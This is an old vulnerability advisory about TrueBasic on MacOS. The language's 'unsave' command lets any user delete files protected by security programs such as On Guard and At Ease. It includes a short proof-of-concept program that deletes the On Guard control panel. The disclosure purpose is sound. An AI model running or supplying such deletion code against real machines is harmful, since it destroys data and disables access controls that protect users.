COMMAND
TrueBasic
SYSTEMS AFFECTED
MacOS
PROBLEM
A error has been found on any system running MacOS and any
version of TrueBasic that includes the "unsave" command. The
unsave command is used to erase or delete any file on the
Macintosh HD. What this allows any user to do is erase ANY file
even if behind security programs such as "On Guard" and "At Ease".
Example follows:
! Begin Kiss Off v1.0 by Xservo <servo@garbage.bridge.net>
! NOTE: Replace "MacHD" with the name of your Macintosh Hard Disk
!
unsave "MacHD:System Folder:Control Panels:On Guard"
end
! EOF
This program will erase On Guard from the Macintosh Hard Drive
named "MacHD". Such a exploit can also be acccomplished with the
"OPEN" and "ERASE" commands. Credit for this goes to Xservo.
SOLUTION
???, give away TrueBasic.
